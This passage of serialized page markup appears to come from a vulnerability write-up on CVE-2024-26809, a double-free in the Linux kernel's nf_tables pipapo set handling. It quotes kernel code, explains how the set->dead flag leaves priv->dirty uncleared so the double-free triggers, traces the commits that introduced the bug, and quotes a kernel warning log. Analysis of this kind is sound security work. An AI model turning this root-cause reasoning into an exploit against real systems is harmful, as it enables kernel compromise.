nf_tables_commit_release",{"type":24,"tag":83,"props":52561,"children":52562},{"style":107},[52563],{"type":29,"value":52564},"(net);\n",{"type":24,"tag":83,"props":52566,"children":52567},{"class":85,"line":1778},[52568],{"type":24,"tag":83,"props":52569,"children":52570},{"emptyLinePlaceholder":16},[52571],{"type":29,"value":3422},{"type":24,"tag":83,"props":52573,"children":52574},{"class":85,"line":1803},[52575,52580,52584],{"type":24,"tag":83,"props":52576,"children":52577},{"style":117},[52578],{"type":29,"value":52579}," return",{"type":24,"tag":83,"props":52581,"children":52582},{"style":245},[52583],{"type":29,"value":248},{"type":24,"tag":83,"props":52585,"children":52586},{"style":107},[52587],{"type":29,"value":321},{"type":24,"tag":83,"props":52589,"children":52590},{"class":85,"line":1811},[52591],{"type":24,"tag":83,"props":52592,"children":52593},{"style":107},[52594],{"type":29,"value":464},{"type":24,"tag":25,"props":52596,"children":52597},{},[52598,52599,52605,52607,52612],{"type":29,"value":16348},{"type":24,"tag":32,"props":52600,"children":52602},{"className":52601},[],[52603],{"type":29,"value":52604},"nft_set_commit_update()",{"type":29,"value":52606}," function in the code above will call the ",{"type":24,"tag":32,"props":52608,"children":52610},{"className":52609},[],[52611],{"type":29,"value":52059},{"type":29,"value":52613}," method for any objects that were marked as pending an update.",{"type":24,"tag":73,"props":52615,"children":52617},{"className":16250,"code":52616,"language":2891,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[52618],{"type":24,"tag":32,"props":52619,"children":52620},{"__ignoreMap":7},[52621,52661,52668,52697,52704,52717,52749,52756,52817,52828,52835,52869,52876],{"type":24,"tag":83,"props":52622,"children":52623},{"class":85,"line":86},[52624,52628,52632,52636,52640,52644,52649,52653,52657],{"type":24,"tag":83,"props":52625,"children":52626},{"style":90},[52627],{"type":29,"value":50759},{"type":24,"tag":83,"props":52629,"children":52630},{"style":90},[52631],{"type":29,"value":50764},{"type":24,"tag":83,"props":52633,"children":52634},{"style":101},[52635],{"type":29,"value":52527},{"type":24,"tag":83,"props":52637,"children":52638},{"style":107},[52639],{"type":29,"value":558},{"type":24,"tag":83,"props":52641,"children":52642},{"style":90},[52643],{"type":29,"value":9148},{"type":24,"tag":83,"props":52645,"children":52646},{"style":107},[52647],{"type":29,"value":52648}," list_head ",{"type":24,"tag":83,"props":52650,"children":52651},{"style":143},[52652],{"type":29,"value":4315},{"type":24,"tag":83,"props":52654,"children":52655},{"style":137},[52656],{"type":29,"value":52540},{"type":24,"tag":83,"props":52658,"children":52659},{"style":107},[52660],{"type":29,"value":2905},{"type":24,"tag":83,"props":52662,"children":52663},{"class":85,"line":113},[52664],{"type":24,"tag":83,"props":52665,"children":52666},{"style":107},[52667],{"type":29,"value":10628},{"type":24,"tag":83,"props":52669,"children":52670},{"class":85,"line":128},[52671,52675,52679,52683,52688,52692],{"type":24,"tag":83,"props":52672,"children":52673},{"style":90},[52674],{"type":29,"value":20891},{"type":24,"tag":83,"props":52676,"children":52677},{"style":107},[52678],{"type":29,"value":50814},{"type":24,"tag":83,"props":52680,"children":52681},{"style":143},[52682],{"type":29,"value":4315},{"type":24,"tag":83,"props":52684,"children":52685},{"style":107},[52686],{"type":29,"value":52687},"set, ",{"type":24,"tag":83,"props":52689,"children":52690},{"style":143},[52691],{"type":29,"value":4315},{"type":24,"tag":83,"props":52693,"children":52694},{"style":107},[52695],{"type":29,"value":52696},"next;\n",{"type":24,"tag":83,"props":52698,"children":52699},{"class":85,"line":183},[52700],{"type":24,"tag":83,"props":52701,"children":52702},{"emptyLinePlaceholder":16},[52703],{"type":29,"value":3422},{"type":24,"tag":83,"props":52705,"children":52706},{"class":85,"line":203},[52707,52712],{"type":24,"tag":83,"props":52708,"children":52709},{"style":101},[52710],{"type":29,"value":52711}," list_for_each_entry_safe",{"type":24,"tag":83,"props":52713,"children":52714},{"style":107},[52715],{"type":29,"value":52716},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":83,"props":52718,"children":52719},{"class":85,"line":212},[52720,52725,52729,52733,52737,52741,52745],{"type":24,"tag":83,"props":52721,"children":52722},{"style":101},[52723],{"type":29,"value":52724},"  list_del_init",{"type":24,"tag":83,"props":52726,"children":52727},{"style":107},[52728],{"type":29,"value":558},{"type":24,"tag":83,"props":52730,"children":52731},{"style":143},[52732],{"type":29,"value":2853},{"type":24,"tag":83,"props":52734,"children":52735},{"style":137},[52736],{"type":29,"value":50734},{"type":24,"tag":83,"props":52738,"children":52739},{"style":107},[52740],{"type":29,"value":13502},{"type":24,"tag":83,"props":52742,"children":52743},{"style":137},[52744],{"type":29,"value":52434},{"type":24,"tag":83,"props":52746,"children":52747},{"style":107},[52748],{"type":29,"value":581},{"type":24,"tag":83,"props":52750,"children":52751},{"class":85,"line":256},[52752],{"type":24,"tag":83,"props":52753,"children":52754},{"emptyLinePlaceholder":16},[52755],{"type":29,"value":3422},{"type":24,"tag":83,"props":52757,"children":52758},{"class":85,"line":270},[52759,52763,52767,52771,52775,52779,52783,52787,52791,52795,52800,52804,52808,52812],{"type":24,"tag":83,"props":52760,"children":52761},{"style":117},[52762],{"type":29,"value":672},{"type":24,"tag":83,"props":52764,"children":52765},{"style":107},[52766],{"type":29,"value":223},{"type":24,"tag":83,"props":52768,"children":52769},{"style":143},[52770],{"type":29,"value":20362},{"type":24,"tag":83,"props":52772,"children":52773},{"style":137},[52774],{"type":29,"value":50734},{"type":24,"tag":83,"props":52776,"children":52777},{"style":107},[52778],{"type":29,"value":13502},{"type":24,"tag":83,"props":52780,"children":52781},{"style":137},[52782],{"type":29,"value":52384},{"type":24,"tag":83,"props":52784,"children":52785},{"style":107},[52786],{"type":29,"value":13502},{"type":24,"tag":83,"props":52788,"children":52789},{"style":137},[52790],{"type":29,"value":52393},{"type":24,"tag":83,"props":52792,"children":52793},{"style":143},[52794],{"type":29,"value":23447},{"type":24,"tag":83,"props":52796,"children":52797},{"style":137},[52798],{"type":29,"value":52799}," set",{"type":24,"tag":83,"props":52801,"children":52802},{"style":107},[52803],{"type":29,"value":13502},{"type":24,"tag":83,"props":52805,"children":52806},{"style":137},[52807],{"type":29,"value":52203},{"type":24,"tag":83,"props":52809,"children":52810},{"style":107},[52811],{"type":29,"value":2872},{"type":24,"tag":83,"props":52813,"children":52814},{"style":2735},[52815],{"type":29,"value":52816}," // [4]\n",{"type":24,"tag":83,"props":52818,"children":52819},{"class":85,"line":302},[52820,52824],{"type":24,"tag":83,"props":52821,"children":52822},{"style":117},[52823],{"type":29,"value":51206},{"type":24,"tag":83,"props":52825,"children":52826},{"style":107},[52827],{"type":29,"value":321},{"type":24,"tag":83,"props":52829,"children":52830},{"class":85,"line":324},[52831],{"type":24,"tag":83,"props":52832,"children":52833},{"emptyLinePlaceholder":16},[52834],{"type":29,"value":3422},{"type":24,"tag":83,"props":52836,"children":52837},{"class":85,"line":345},[52838,52843,52847,52851,52855,52859,52864],{"type":24,"tag":83,"props":52839,"children":52840},{"style":137},[52841],{"type":29,"value":52842},"  set",{"type":24,"tag":83,"props":52844,"children":52845},{"style":107},[52846],{"type":29,"value":13502},{"type":24,"tag":83,"props":52848,"children":52849},{"style":137},[52850],{"type":29,"value":52384},{"type":24,"tag":83,"props":52852,"children":52853},{"style":107},[52854],{"type":29,"value":13502},{"type":24,"tag":83,"props":52856,"children":52857},{"style":101},[52858],{"type":29,"value":52393},{"type":24,"tag":83,"props":52860,"children":52861},{"style":107},[52862],{"type":29,"value":52863},"(set);",{"type":24,"tag":83,"props":52865,"children":52866},{"style":2735},[52867],{"type":29,"value":52868}," // [5]\n",{"type":24,"tag":83,"props":52870,"children":52871},{"class":85,"line":358},[52872],{"type":24,"tag":83,"props":52873,"children":52874},{"style":107},[52875],{"type":29,"value":9342},{"type":24,"tag":83,"props":52877,"children":52878},{"class":85,"line":367},[52879],{"type":24,"tag":83,"props":52880,"children":52881},{"style":107},[52882],{"type":29,"value":464},{"type":24,"tag":25,"props":52884,"children":52885},{},[52886,52888,52894,52896,52901,52902,52907],{"type":29,"value":52887},"Later on, the ",{"type":24,"tag":32,"props":52889,"children":52891},{"className":52890},[],[52892],{"type":29,"value":52893},"nf_tables_commit_release()",{"type":29,"value":52895}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":32,"props":52897,"children":52899},{"className":52898},[],[52900],{"type":29,"value":50734},{"type":29,"value":52053},{"type":24,"tag":32,"props":52903,"children":52905},{"className":52904},[],[52906],{"type":29,"value":52067},{"type":29,"value":52908}," method.",{"type":24,"tag":73,"props":52910,"children":52912},{"className":16250,"code":52911,"language":2891,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[52913],{"type":24,"tag":32,"props":52914,"children":52915},{"__ignoreMap":7},[52916,52955,52962,52969,52990,52997,53004,53011,53052,53059,53066,53087,53100,53112,53119,53126,53133,53174,53181,53209,53216,53229,53241,53282,53289,53296,53303,53361,53368,53375,53404,53411],{"type":24,"tag":83,"props":52917,"children":52918},{"class":85,"line":86},[52919,52923,52927,52931,52935,52939,52943,52947,52951],{"type":24,"tag":83,"props":52920,"children":52921},{"style":90},[52922],{"type":29,"value":50759},{"type":24,"tag":83,"props":52924,"children":52925},{"style":90},[52926],{"type":29,"value":50764},{"type":24,"tag":83,"props":52928,"children":52929},{"style":101},[52930],{"type":29,"value":52559},{"type":24,"tag":83,"props":52932,"children":52933},{"style":107},[52934],{"type":29,"value":558},{"type":24,"tag":83,"props":52936,"children":52937},{"style":90},[52938],{"type":29,"value":9148},{"type":24,"tag":83,"props":52940,"children":52941},{"style":107},[52942],{"type":29,"value":51716},{"type":24,"tag":83,"props":52944,"children":52945},{"style":143},[52946],{"type":29,"value":4315},{"type":24,"tag":83,"props":52948,"children":52949},{"style":137},[52950],{"type":29,"value":51725},{"type":24,"tag":83,"props":52952,"children":52953},{"style":107},[52954],{"type":29,"value":2905},{"type":24,"tag":83,"props":52956,"children":52957},{"class":85,"line":113},[52958],{"type":24,"tag":83,"props":52959,"children":52960},{"style":107},[52961],{"type":29,"value":10628},{"type":24,"tag":83,"props":52963,"children":52964},{"class":85,"line":128},[52965],{"type":24,"tag":83,"props":52966,"children":52967},{"style":107},[52968],{"type":29,"value":10065},{"type":24,"tag":83,"props":52970,"children":52971},{"class":85,"line":183},[52972,52977,52981,52985],{"type":24,"tag":83,"props":52973,"children":52974},{"style":101},[52975],{"type":29,"value":52976}," schedule_work",{"type":24,"tag":83,"props":52978,"children":52979},{"style":107},[52980],{"type":29,"value":558},{"type":24,"tag":83,"props":52982,"children":52983},{"style":143},[52984],{"type":29,"value":2853},{"type":24,"tag":83,"props":52986,"children":52987},{"style":107},[52988],{"type":29,"value":52989},"trans_destroy_work);\n",{"type":24,"tag":83,"props":52991,"children":52992},{"class":85,"line":203},[52993],{"type":24,"tag":83,"props":52994,"children":52995},{"style":107},[52996],{"type":29,"value":10065},{"type":24,"tag":83,"props":52998,"children":52999},{"class":85,"line":212},[53000],{"type":24,"tag":83,"props":53001,"children":53002},{"style":107},[53003],{"type":29,"value":464},{"type":24,"tag":83,"props":53005,"children":53006},{"class":85,"line":256},[53007],{"type":24,"tag":83,"props":53008,"children":53009},{"style":107},[53010],{"type":29,"value":10065},{"type":24,"tag":83,"props":53012,"children":53013},{"class":85,"line":270},[53014,53018,53022,53027,53031,53035,53040,53044,53048],{"type":24,"tag":83,"props":53015,"children":53016},{"style":90},[53017],{"type":29,"value":50759},{"type":24,"tag":83,"props":53019,"children":53020},{"style":90},[53021],{"type":29,"value":50764},{"type":24,"tag":83,"props":53023,"children":53024},{"style":101},[53025],{"type":29,"value":53026}," nf_tables_trans_destroy_work",{"type":24,"tag":83,"props":53028,"children":53029},{"style":107},[53030],{"type":29,"value":558},{"type":24,"tag":83,"props":53032,"children":53033},{"style":90},[53034],{"type":29,"value":9148},{"type":24,"tag":83,"props":53036,"children":53037},{"style":107},[53038],{"type":29,"value":53039}," work_struct ",{"type":24,"tag":83,"props":53041,"children":53042},{"style":143},[53043],{"type":29,"value":4315},{"type":24,"tag":83,"props":53045,"children":53046},{"style":137},[53047],{"type":29,"value":49288},{"type":24,"tag":83,"props":53049,"children":53050},{"style":107},[53051],{"type":29,"value":2905},{"type":24,"tag":83,"props":53053,"children":53054},{"class":85,"line":302},[53055],{"type":24,"tag":83,"props":53056,"children":53057},{"style":107},[53058],{"type":29,"value":10628},{"type":24,"tag":83,"props":53060,"children":53061},{"class":85,"line":324},[53062],{"type":24,"tag":83,"props":53063,"children":53064},{"style":107},[53065],{"type":29,"value":10065},{"type":24,"tag":83,"props":53067,"children":53068},{"class":85,"line":345},[53069,53073,53078,53082],{"type":24,"tag":83,"props":53070,"children":53071},{"style":101},[53072],{"type":29,"value":52711},{"type":24,"tag":83,"props":53074,"children":53075},{"style":107},[53076],{"type":29,"value":53077},"(trans, next, ",{"type":24,"tag":83,"props":53079,"children":53080},{"style":143},[53081],{"type":29,"value":2853},{"type":24,"tag":83,"props":53083,"children":53084},{"style":107},[53085],{"type":29,"value":53086},"head, list) {\n",{"type":24,"tag":83,"props":53088,"children":53089},{"class":85,"line":358},[53090,53095],{"type":24,"tag":83,"props":53091,"children":53092},{"style":101},[53093],{"type":29,"value":53094},"  nft_trans_list_del",{"type":24,"tag":83,"props":53096,"children":53097},{"style":107},[53098],{"type":29,"value":53099},"(trans);\n",{"type":24,"tag":83,"props":53101,"children":53102},{"class":85,"line":367},[53103,53108],{"type":24,"tag":83,"props":53104,"children":53105},{"style":101},[53106],{"type":29,"value":53107},"  nft_commit_release",{"type":24,"tag":83,"props":53109,"children":53110},{"style":107},[53111],{"type":29,"value":53099},{"type":24,"tag":83,"props":53113,"children":53114},{"class":85,"line":406},[53115],{"type":24,"tag":83,"props":53116,"children":53117},{"style":107},[53118],{"type":29,"value":9342},{"type":24,"tag":83,"props":53120,"children":53121},{"class":85,"line":427},[53122],{"type":24,"tag":83,"props":53123,"children":53124},{"style":107},[53125],{"type":29,"value":464},{"type":24,"tag":83,"props":53127,"children":53128},{"class":85,"line":440},[53129],{"type":24,"tag":83,"props":53130,"children":53131},{"style":107},[53132],{"type":29,"value":10065},{"type":24,"tag":83,"props":53134,"children":53135},{"class":85,"line":449},[53136,53140,53144,53149,53153,53157,53162,53166,53170],{"type":24,"tag":83,"props":53137,"children":53138},{"style":90},[53139],{"type":29,"value":50759},{"type":24,"tag":83,"props":53141,"children":53142},{"style":90},[53143],{"type":29,"value":50764},{"type":24,"tag":83,"props":53145,"children":53146},{"style":101},[53147],{"type":29,"value":53148}," nft_commit_release",{"type":24,"tag":83,"props":53150,"children":53151},{"style":107},[53152],{"type":29,"value":558},{"type":24,"tag":83,"props":53154,"children":53155},{"style":90},[53156],{"type":29,"value":9148},{"type":24,"tag":83,"props":53158,"children":53159},{"style":107},[53160],{"type":29,"value":53161}," nft_trans ",{"type":24,"tag":83,"props":53163,"children":53164},{"style":143},[53165],{"type":29,"value":4315},{"type":24,"tag":83,"props":53167,"children":53168},{"style":137},[53169],{"type":29,"value":52275},{"type":24,"tag":83,"props":53171,"children":53172},{"style":107},[53173],{"type":29,"value":2905},{"type":24,"tag":83,"props":53175,"children":53176},{"class":85,"line":458},[53177],{"type":24,"tag":83,"props":53178,"children":53179},{"style":107},[53180],{"type":29,"value":10628},{"type":24,"tag":83,"props":53182,"children":53183},{"class":85,"line":1065},[53184,53189,53193,53197,53201,53205],{"type":24,"tag":83,"props":53185,"children":53186},{"style":117},[53187],{"type":29,"value":53188}," switch",{"type":24,"tag":83,"props":53190,"children":53191},{"style":107},[53192],{"type":29,"value":223},{"type":24,"tag":83,"props":53194,"children":53195},{"style":137},[53196],{"type":29,"value":52275},{"type":24,"tag":83,"props":53198,"children":53199},{"style":107},[53200],{"type":29,"value":13502},{"type":24,"tag":83,"props":53202,"children":53203},{"style":137},[53204],{"type":29,"value":52313},{"type":24,"tag":83,"props":53206,"children":53207},{"style":107},[53208],{"type":29,"value":253},{"type":24,"tag":83,"props":53210,"children":53211},{"class":85,"line":1668},[53212],{"type":24,"tag":83,"props":53213,"children":53214},{"style":107},[53215],{"type":29,"value":10065},{"type":24,"tag":83,"props":53217,"children":53218},{"class":85,"line":1713},[53219,53224],{"type":24,"tag":83,"props":53220,"children":53221},{"style":117},[53222],{"type":29,"value":53223}," case",{"type":24,"tag":83,"props":53225,"children":53226},{"style":107},[53227],{"type":29,"value":53228}," NFT_MSG_DELSET:\n",{"type":24,"tag":83,"props":53230,"children":53231},{"class":85,"line":1730},[53232,53236],{"type":24,"tag":83,"props":53233,"children":53234},{"style":117},[53235],{"type":29,"value":53223},{"type":24,"tag":83,"props":53237,"children":53238},{"style":107},[53239],{"type":29,"value":53240}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":83,"props":53242,"children":53243},{"class":85,"line":1770},[53244,53249,53253,53257,53261,53265,53269,53273,53277],{"type":24,"tag":83,"props":53245,"children":53246},{"style":101},[53247],{"type":29,"value":53248},"  nft_set_destroy",{"type":24,"tag":83,"props":53250,"children":53251},{"style":107},[53252],{"type":29,"value":558},{"type":24,"tag":83,"props":53254,"children":53255},{"style":143},[53256],{"type":29,"value":2853},{"type":24,"tag":83,"props":53258,"children":53259},{"style":107},[53260],{"type":29,"value":52275},{"type":24,"tag":83,"props":53262,"children":53263},{"style":143},[53264],{"type":29,"value":13502},{"type":24,"tag":83,"props":53266,"children":53267},{"style":137},[53268],{"type":29,"value":20021},{"type":24,"tag":83,"props":53270,"children":53271},{"style":107},[53272],{"type":29,"value":568},{"type":24,"tag":83,"props":53274,"children":53275},{"style":101},[53276],{"type":29,"value":52241},{"type":24,"tag":83,"props":53278,"children":53279},{"style":107},[53280],{"type":29,"value":53281},"(trans));\n",{"type":24,"tag":83,"props":53283,"children":53284},{"class":85,"line":1778},[53285],{"type":24,"tag":83,"props":53286,"children":53287},{"style":107},[53288],{"type":29,"value":10065},{"type":24,"tag":83,"props":53290,"children":53291},{"class":85,"line":1803},[53292],{"type":24,"tag":83,"props":53293,"children":53294},{"style":107},[53295],{"type":29,"value":464},{"type":24,"tag":83,"props":53297,"children":53298},{"class":85,"line":1811},[53299],{"type":24,"tag":83,"props":53300,"children":53301},{"style":107},[53302],{"type":29,"value":10065},{"type":24,"tag":83,"props":53304,"children":53305},{"class":85,"line":8792},[53306,53310,53314,53319,53323,53327,53331,53335,53339,53344,53348,53352,53356],{"type":24,"tag":83,"props":53307,"children":53308},{"style":90},[53309],{"type":29,"value":50759},{"type":24,"tag":83,"props":53311,"children":53312},{"style":90},[53313],{"type":29,"value":50764},{"type":24,"tag":83,"props":53315,"children":53316},{"style":101},[53317],{"type":29,"value":53318}," nft_set_destroy",{"type":24,"tag":83,"props":53320,"children":53321},{"style":107},[53322],{"type":29,"value":558},{"type":24,"tag":83,"props":53324,"children":53325},{"style":90},[53326],{"type":29,"value":9401},{"type":24,"tag":83,"props":53328,"children":53329},{"style":90},[53330],{"type":29,"value":20891},{"type":24,"tag":83,"props":53332,"children":53333},{"style":107},[53334],{"type":29,"value":50786},{"type":24,"tag":83,"props":53336,"children":53337},{"style":143},[53338],{"type":29,"value":4315},{"type":24,"tag":83,"props":53340,"children":53341},{"style":107},[53342],{"type":29,"value":53343},"ctx, ",{"type":24,"tag":83,"props":53345,"children":53346},{"style":90},[53347],{"type":29,"value":9148},{"type":24,"tag":83,"props":53349,"children":53350},{"style":107},[53351],{"type":29,"value":50814},{"type":24,"tag":83,"props":53353,"children":53354},{"style":143},[53355],{"type":29,"value":4315},{"type":24,"tag":83,"props":53357,"children":53358},{"style":107},[53359],{"type":29,"value":53360},"set)\n",{"type":24,"tag":83,"props":53362,"children":53363},{"class":85,"line":8810},[53364],{"type":24,"tag":83,"props":53365,"children":53366},{"style":107},[53367],{"type":29,"value":10628},{"type":24,"tag":83,"props":53369,"children":53370},{"class":85,"line":8855},[53371],{"type":24,"tag":83,"props":53372,"children":53373},{"style":107},[53374],{"type":29,"value":10065},{"type":24,"tag":83,"props":53376,"children":53377},{"class":85,"line":8961},[53378,53382,53386,53390,53394,53399],{"type":24,"tag":83,"props":53379,"children":53380},{"style":137},[53381],{"type":29,"value":52799},{"type":24,"tag":83,"props":53383,"children":53384},{"style":107},[53385],{"type":29,"value":13502},{"type":24,"tag":83,"props":53387,"children":53388},{"style":137},[53389],{"type":29,"value":52384},{"type":24,"tag":83,"props":53391,"children":53392},{"style":107},[53393],{"type":29,"value":13502},{"type":24,"tag":83,"props":53395,"children":53396},{"style":101},[53397],{"type":29,"value":53398},"destroy",{"type":24,"tag":83,"props":53400,"children":53401},{"style":107},[53402],{"type":29,"value":53403},"(ctx, set);\n",{"type":24,"tag":83,"props":53405,"children":53406},{"class":85,"line":23248},[53407],{"type":24,"tag":83,"props":53408,"children":53409},{"style":107},[53410],{"type":29,"value":10065},{"type":24,"tag":83,"props":53412,"children":53413},{"class":85,"line":23283},[53414],{"type":24,"tag":83,"props":53415,"children":53416},{"style":107},[53417],{"type":29,"value":464},{"type":24,"tag":25,"props":53419,"children":53420},{},[53421,53423,53428,53430,53435,53437,53443,53445,53450,53452,53457,53459,53463,53465,53470,53471,53475,53477,53483],{"type":29,"value":53422},"It may appear as if it would be impossible to make ",{"type":24,"tag":32,"props":53424,"children":53426},{"className":53425},[],[53427],{"type":29,"value":50688},{"type":29,"value":53429}," true in the release step because the ",{"type":24,"tag":32,"props":53431,"children":53433},{"className":53432},[],[53434],{"type":29,"value":52059},{"type":29,"value":53436}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":32,"props":53438,"children":53440},{"className":53439},[],[53441],{"type":29,"value":53442},"set->dead",{"type":29,"value":53444}," flag. If a ",{"type":24,"tag":32,"props":53446,"children":53448},{"className":53447},[],[53449],{"type":29,"value":50734},{"type":29,"value":53451}," was marked for deletion, it receives the ",{"type":24,"tag":32,"props":53453,"children":53455},{"className":53454},[],[53456],{"type":29,"value":53442},{"type":29,"value":53458}," flag ",{"type":24,"tag":83,"props":53460,"children":53461},{},[53462],{"type":29,"value":2867},{"type":29,"value":53464},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":32,"props":53466,"children":53468},{"className":53467},[],[53469],{"type":29,"value":50734},{"type":29,"value":6204},{"type":24,"tag":83,"props":53472,"children":53473},{},[53474],{"type":29,"value":17265},{"type":29,"value":53476},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":32,"props":53478,"children":53480},{"className":53479},[],[53481],{"type":29,"value":53482},"priv ->dirty",{"type":29,"value":53484}," flag is not cleared when it should have been.",{"type":24,"tag":51,"props":53486,"children":53488},{"id":53487},"tracing-the-guilty-commit",[53489],{"type":29,"value":53490},"Tracing the guilty commit",{"type":24,"tag":25,"props":53492,"children":53493},{},[53494,53496,53503,53505,53511,53513,53518,53520,53526],{"type":29,"value":53495},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":2033,"props":53497,"children":53500},{"href":53498,"rel":53499},"https://ubuntu.com/security/CVE-2024-26809",[2037],[53501],{"type":29,"value":53502},"advisories",{"type":29,"value":53504}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":2033,"props":53506,"children":53509},{"href":53507,"rel":53508},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[2037],[53510],{"type":29,"value":52393},{"type":29,"value":53512},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":32,"props":53514,"children":53516},{"className":53515},[],[53517],{"type":29,"value":53442},{"type":29,"value":53519}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":2033,"props":53521,"children":53524},{"href":53522,"rel":53523},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[2037],[53525],{"type":29,"value":52393},{"type":29,"value":161},{"type":24,"tag":25,"props":53528,"children":53529},{},[53530],{"type":29,"value":53531},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":73,"props":53533,"children":53537},{"className":53534,"code":53535,"language":53536,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[53538],{"type":24,"tag":32,"props":53539,"children":53540},{"__ignoreMap":7},[53541,53549,53557,53564,53572,53580,53587,53595,53602,53610,53618,53625,53633,53641,53649,53657,53665,53673,53681,53689,53697,53704,53712,53720,53727,53735,53743,53751,53759,53767,53774,53782,53790],{"type":24,"tag":83,"props":53542,"children":53543},{"class":85,"line":86},[53544],{"type":24,"tag":83,"props":53545,"children":53546},{},[53547],{"type":29,"value":53548},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":83,"props":53550,"children":53551},{"class":85,"line":113},[53552],{"type":24,"tag":83,"props":53553,"children":53554},{},[53555],{"type":29,"value":53556},"transaction is aborted.\n",{"type":24,"tag":83,"props":53558,"children":53559},{"class":85,"line":128},[53560],{"type":24,"tag":83,"props":53561,"children":53562},{"emptyLinePlaceholder":16},[53563],{"type":29,"value":3422},{"type":24,"tag":83,"props":53565,"children":53566},{"class":85,"line":183},[53567],{"type":24,"tag":83,"props":53568,"children":53569},{},[53570],{"type":29,"value":53571},"[16302.231754] ------------[ cut here ]------------\n",{"type":24,"tag":83,"props":53573,"children":53574},{"class":85,"line":203},[53575],{"type":24,"tag":83,"props":53576,"children":53577},{},[53578],{"type":29,"value":53579},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":83,"props":53581,"children":53582},{"class":85,"line":212},[53583],{"type":24,"tag":83,"props":53584,"children":53585},{},[53586],{"type":29,"value":10065},{"type":24,"tag":83,"props":53588,"children":53589},{"class":85,"line":256},[53590],{"type":24,"tag":83,"props":53591,"children":53592},{},[53593],{"type":29,"value":53594},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":24,"tag":83,"props":53596,"children":53597},{"class":85,"line":270},[53598],{"type":24,"tag":83,"props":53599,"children":53600},{},[53601],{"type":29,"value":10065},{"type":24,"tag":83,"props":53603,"children":53604},{"class":85,"line":302},[53605],{"type":24,"tag":83,"props":53606,"children":53607},{},[53608],{"type":29,"value":53609},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":83,"props":53611,"children":53612},{"class":85,"line":324},[53613],{"type":24,"tag":83,"props":53614,"children":53615},{},[53616],{"type":29,"value":53617},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 